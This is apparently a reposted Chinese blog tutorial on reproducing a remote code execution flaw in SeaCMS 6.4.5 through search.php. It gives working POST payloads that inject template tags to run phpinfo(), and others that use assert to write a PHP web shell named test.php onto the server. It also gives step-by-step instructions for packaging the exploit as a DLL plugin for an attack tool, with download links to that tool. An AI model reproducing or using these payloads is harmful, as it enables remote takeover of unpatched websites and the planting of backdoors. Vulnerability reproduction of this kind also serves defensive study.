SeaCms6.4.5 遠程代碼執行漏洞復現


SeaCms6.4.5存在遠程代碼執行漏洞。

注:工具地址
更新4.2版本
鏈接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取碼:rw8l
https://wws.lanzous.com/b01zycnta
密碼:g3uz
開發手冊地址:https://www.kancloud.cn/qq496672097/limanmanexp

漏洞點存在於search.php中。

漏洞的主要成因

search.php調用_RunMagicQuotes方法,將全局變量注冊成變量。
在searchPHP中 echoSearchPage過濾不嚴,且直接將$order參數進行注冊。
最后使用模板echoSearchPage()方法進行翻譯,翻譯的過程中使用模板標簽,即可達到翻譯之后的模板是PHP代碼的目的。由於echoSearchPage()方法中的規定,代碼中包含if的部分才能夠被當作php代碼進行解析。並且使用eval進行代碼執行。所以還需要進行代碼組裝。
具體代碼審計部分請參閱網絡資料。

復現

搭建環境

使用Phpmystudy 進行搭建。 注意點:不能使用php7進行復現 。seacms僅支持非PHP7版本。

構造Post請求包

由已經公開的漏洞信息可以知道,觸發點在search.php 。該PHP是首頁的搜索功能。 計划使用burpsuit直接攔截數據包進行修改。

修改數據包內容

添加body內容為


searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')

發送即可生成文件名為test.php的木馬文件。

limanmanExp插件制作

下載模板

https://www.kancloud.cn/qq496672097/limanmanexp/2139154
創建一個.net framework 4 庫文件
下載模板,替換原有代碼

設置class名稱

設置class名稱為CNVD_2018_14102

設置url

設置url為url["url"]+="/search.php"

設置body

需要注意的是, 這里的

searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')

VS會自動給你添加空格, 需要手動修正。 另外也需要注意轉義等特殊字符。

設置header

由於是需要上傳POST數據,那么就必須設置ContentType等頭部。 需要注意的是, 這里的頭部類型沒有-,具體哪些頭名稱沒有-,請參考手冊

設置請求方式

請求方式與請求次數有關, 具體的請求關系圖如下:

由於沒有多次請求我們可以不管上面的圖
直接將numberOfTime修改為2即可。

生成.dll文件。

點擊 ”生成“-》”重新生成解決方案“即可在項目的bin->debug目錄獲得dll文件, 放入工具的插件目錄即可

測試

由於只使用了一Poc開頭的方法。 那么在工具中也只能點擊POC按鈕。
測試效果如下


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM